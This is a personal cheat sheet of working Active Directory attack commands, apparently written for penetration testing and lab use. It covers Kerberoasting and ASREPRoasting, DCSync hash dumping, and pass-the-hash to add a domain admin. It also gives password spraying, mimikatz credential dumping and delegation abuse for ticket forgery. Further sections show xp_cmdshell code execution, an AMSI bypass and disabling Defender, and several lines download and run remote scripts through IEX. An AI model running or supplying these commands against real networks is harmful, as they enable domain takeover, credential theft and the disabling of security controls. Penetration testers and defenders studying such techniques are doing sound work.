Domain Enumeration + Exploitation

This is just a living document of things I have needed for domain enumeration/exploitation


Use the dev branch or PowerSploit. For an already incredible cheat sheet, check out HarmJ0y's.

IEX(New-Object Net.WebClient).downloadString('')

Get Domain Users

Get-NetUser * -Domain corp.local | Select-Object -Property name,samaccountname,description,memberof,whencreated,pwdlastset, lastlogontimestamp,accountexpires,admincount,userprincipalname, serviceprincipalname, mail,useraccountcontrol | Export-CSV users.csv

Get Domain Computers

Get-NetComputer * -Domain corp.local | Select-Object -Property dnshostname,operatingsystem,operatingsystemservicepack,lastlogontimestamp | Export-CSV computers.csv

Get Group Members

Get-DomainGroupMember -Identity "Helpdesk" | Select-Object membername

SPN Ticket Request (Kerberoast)

Get-DomainUser * -SPN | Get-DomainSPNTicket -OutputFormat Hashcat | Export-Csv .\ticket.csv -NoTypeInformation

Enumerate User DACLs

PS C:\> Get-DomainObjectAcl -Identity it_admin -ResolveGUIDs ? { $_.SecurityIdentifier -Match $(ConvertTo-SID burmat) }
AceType : AccessAllowed
ObjectDN : CN=it_admin,CN=Users,DC=BURMAT,DC=CO
ActiveDirectoryRights : GenericAll
OpaqueLength : 0
ObjectSID : S-1-5-21-2736429227-4547413232-2815246478-1130
InheritanceFlags : None
BinaryLength : 36
IsInherited : False
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-2736429227-4547413232-2815246478-1107
AccessMask : 983551
AuditFlags : None
AceFlags : None
AceQualifier : AccessAllowed

Enumerate Network Shares

## scan an entire domain:
find-domainshare -computerdomain burmat.local
## narrow down scope, check permissions:
find-domainshare -computername websrv.burmat.local -computerdomain burmat.local -CheckShareAccess

Impersonate Another Domain User

PS C:\> $cred = New-Object System.Management.Automation.PSCredential "BURMAT\John.Smith", $(ConvertTo-SecureString "Spring2020!" -AsPlainText -Force);
PS C:\> find-domainshare -computername fs01.burmat.local -Credential $cred -computerdomain burmat.local -CheckShareAccess
WARNING: [Invoke-UserImpersonation] Executing LogonUser() with user: BURMAT\John.Smith
WARNING: [Invoke-RevertToSelf] Reverting token impersonation and closing LogonUser() token handle
Name Type Remark ComputerName
---- ---- ------ ------------
Accounting 0 fs01.burmat.local
Private 0 fs01.burmat.local
PS C:\windows\temp\.b> Invoke-UserImpersonation -Credential $cred
WARNING: [Invoke-UserImpersonation] Executing LogonUser() with user: BURMAT\John.Smith
## now we can read the directory impersonating another user if permissions exist:
PS C:\> dir \\fs01.burmat.local\Private

Enumerate GPO's

"{7EA15487-7F5B-4CE3-C029-CEBE6FFE6D47}" | Get-DomainGPO

Reset Domain User Password

If you own the owner of another AD user object (WriteOwner, WriteDACL, GenericWrite, Owner, etc), you can reset the password with ease:

IEX(New-Object Net.WebClient).downloadString('')
$user = 'DOMAIN\owner_acct';
$pass= ConvertTo-SecureString 'Password123!' -AsPlainText -Force;
$creds = New-Object System.Management.Automation.PSCredential $user, $pass;
$newpass = ConvertTo-SecureString '[email protected]' -AsPlainText -Force;
Set-DomainUserPassword -Identity 'DOMAIN\vuln_user' -AccountPassword $newpass -Credential $creds;

Or if you can set yourself as owner, the following will do:

IEX(New-Object Net.WebClient).downloadString('')
Set-DomainObjectOwner -Identity it_admin -OwnerIdentity burmat
Add-DomainObjectAcl -TargetIdentity it_admin -PrincipalIdentity burmat
$newpass = ConvertTo-SecureString -String 'burmat123$' -AsPlainText -Force
Set-DomainUserPassword -Identity it_admin -AccountPassword $newpass

Add/Exploit DCSync Rights

Do you have WriteDACL to a domain? Give DCSync rights to an unprivileged domain user account:

Add-DomainObjectAcl -TargetIdentity "DC=burmatco,DC=local" -PrincipalIdentity useracct1 -Rights DCSync

And use these rights to dump the hashes from the domain:

meterpreter > dcsync_ntlm BURMATCO\\useracct1


Thanks to the impacket toolset, exploiting misconfigurations in AD environments is made easier.

Attempt to get TGTs for users that have UF_DONT_REQUIRE_PREAUTH set:

python -request -no-pass -dc-ip -usersfile users.txt

Attack a local offline copy of NTDS.dit:

./ -ntds /root/l00t/ntds.dit -system /root/l00t/systemhive LOCAL

Or you can attack a system remotely:

./ -just-dc-ntlm[email protected]

Leverage this script to grab usernames via LDAP

./ -all -no-pass -dc-ip | cut -d " " -f 1 | grep -Ev 'Name|Impacket|\-\-|\[' >> users.txt



Because hashes are just as good:

## create a new user
crackmapexec smb -u 'administrator' -d '' -H 'd7452863d1e8e15241nn50ceb1ab9dfe' -x 'net user burmat Pwn3dPwn3d! /add /domain'
## add user to domain admins group
crackmapexec smb -u 'administrator' -d '' -H 'd7452863d1e8e15241nn50ceb1ab9dfe' -x 'net group "Domain Admins" /add burmat /domain'

Password Spraying

Switch out usernames/passwords/targets with lists:

## to spray that Spring2020! and a list of users against a list of targets:
crackmapexec smb ~/targets.txt -u ~/users.txt -p Spring2020! -d

Dumping Credentials

## mimikatz module
crackmapexec smb -u 'administrator' -d '' -p 'S3cur3PW123' -M mimikatz -o COMMAND='privilege::debug'
## SAM database
crackmapexec smb -u 'administrator' -d '' -p 'S3cur3PW123' --sam


GitHub Repo: and more thorough cheat sheet:

MSSQL Enumeration:

## basic instance information
## more verbose information:
Get-SQLServerInfo -Verbose -Instance SQLSRV\SQLEXPRESS
## crawl for databse links:
Get-SqlServerLinkCrawl -Verbose -Instance SQLSRV\SQLEXPRESS
Get-SqlServerLinkCrawl -Verbose -Instance SQLSRV\SQLEXPRESS -Query "select name from master..sysdatabases" | Select-Object -ExpandProperty CustomQuery

Enable xp_cmdshell / Execute Commands

## enable xp_cmdshell:
Get-SQLQuery -Instance SQLSRV\SQLEXPRESS -query "EXECUTE('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT ""sqlsrv.burmat.local"""
## test rce:
Get-SQLServerLinkCrawl -Instance "SQLSRV\SQLEXPRESS" -Query "exec master..xp_cmdshell 'whoami'" | Select-Object -ExpandProperty CustomQuery


Brute Usernames with Nmap

nmap -v -Pn -p 88 --script krb5-enum-users.nse --script-args "realm='', userdb='users.txt'"

GenericWrite to Host + User SPN = PWN

If we have GenericWrite privileges over a host and we are a user that has an SPN, we can write our SID to the msDS-AllowedToActOnBehalfOfOtherIdentity property against the AD object and forge tickets as anyone we like. You can read more about it here:

## we can write our delegation attribute to the DC with the following:
$UserSid = Get-DomainUser svc_burmat -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($UserSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer websrv.burmat.local | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
## now we can use rubeus to forge tickets as anyone we want:
./rubeus.exe s4u /user:svc_burmat /ticket:doIFFDCCBRCg... SNIP .. /impersonateuser:administrator /msdsspn:cifs/websvr.burmat.local /ptt



./rubeus.exe kerberoast /\xsvc /credpassword:S3cur3PW123 /outfile:user.hash


./ -request -dc-ip
hashcat -m 13100 hash.txt -a 0 /usr/share/wordlists/rockyou.txt --force


IEX(New-Object Net.WebClient).downloadString('');
$securePassword = ConvertTo-SecureString 'S3cur3PW123' -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential('\xsvc', $securePassword);
Get-DomainUser -Credential $credential -Server -SPN | Get-DomainSPNTicket -Credential $credential -OutputFormat Hashcat

Attacking spoolss ("The Printer Bug")

From a host with unconstrained delegation, "the printer bug" and can be used to cause a TGT relay from the target host to us running responder, so we can generate a TGS for any user on that target host:

## set up a relay with responder:
responder -I tun0 --lm # tun0 =
## execute exploit through:
proxychains python -u xsvc -p 'S3cur3PW123' -d ''


Ingestor Launch

IEX(New-Object Net.WebClient).DownloadString('');
Invoke-BloodHound -CollectionMethod All -CompressData -SkipPing;


Below are some useful LDAP queries that will help you enumerate a system. Some of them require a valid username/password to get more information. My go-to for these queries is ldapsearch.

Null session:

ldapsearch -x -h -D '' -w '' -b "DC=BURMAT,DC=CO"


ldapsearch -LLL -x -H ldap:// -D "svc-burmat" -w "burmat123$" -b "dc=burmat,dc=co" "<LDAP QUERY HERE>"

Domain Usernames

Get usernames into a list by enumerating user objects:

ldapsearch -x -h -b "dc=burmat,dc=co" -s sub "(objectclass=user)" | grep sAMAccountName | cut -d " " -f 2 > users.txt

ASREPRoast Accounts

## ldap filter to find accounts susceptible to this:
## generate a list of user accounts and use impacket to exploit:
python -request -no-pass -dc-ip -usersfile users.txt
## and if you get a ticket, you can crack it:
hashcat -m 18200 -a 0 --force user.hash /usr/share/wordlists/rockyou.txt

User Account Objects with SPNs

"(&(&(servicePrincipalName=*) (UserAccountControl:1.2.840.113556.1.4.803:=512)) (!(UserAccountControl:1.2.840.113556.1.4.803:=2)))"
## if you get valid domain credentials, you can dump them w/ impacket for offline cracking:
python -request$

User and Computers with Unconstrained Delegation

# user:
"(&(&(objectCategory=person) (objectClass=user)) (userAccountControl:1.2.840.113556.1.4.803:=524288))"
# computer:
"(&(objectCategory=computer) (objectClass=computer) (userAccountControl:1.2.840.113556.1.4.803:=524288))"

Domain Administrators

"(&(objectClass=user) (memberof:1.2.840.113556.1.4.1941:=CN=Domain Admins,CN=Users,DC=burmat,DC=co))"

Group Policies



Checking Status

# is av enabled:
PS C:\> Get-MpComputerStatus
# applocker rules:
PS C:\> $a = Get-ApplockerPolicy -effective
PS C:\> $a.rulecollections
# constrained?:
PS C:\> $ExecutionContext.SessionState.LanguageMode

PowerShell Bypass with 32-bit

PowerShell disabled for you? Try running the 32-bit copy of it:

C:\windows\syswow64\windowspowershell\v1.0\powershell whoami

Writable Folders for Bypassing Execution Control

Try putting your payload in one of the following directories:


Turning Off Defender's RTM

PS C:\> Set-MpPreference -DisableRealtimeMonitoring $true; Get-MpComputerStatus

AMSI Bypass

PS C:\> [Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)

PROCESS ELEVATION (via SeDebugPrivilege)

If you run whoami /priv and you see SeDebugPrivilege set to Enabled, you can assume you already have SYSTEM.

One way of doing it, is using decoder's psgetsys.ps1 script once you have a good idea on a PID to inject:

. .\psgetsys.ps1; [MyProcess]::CreateProcessFromParent(7864,'C:\temp\burmat443.exe');

You can also gain a MSF session and use the module windows/manage/payload_inject with a PID of your choice.


Enable RDP

PS C:\> Set-itemproperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\' -Name "fDenyTSConnections" -value 0
PS C:\> Set-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\' -Name "UserAuthentication" -value 1
PS C:\> Enable-NetFirewallRule -DisplayGroup "Remote Desktop"


# list shared folders
PS> Get-WmiObject -Class Win32_Share -Computer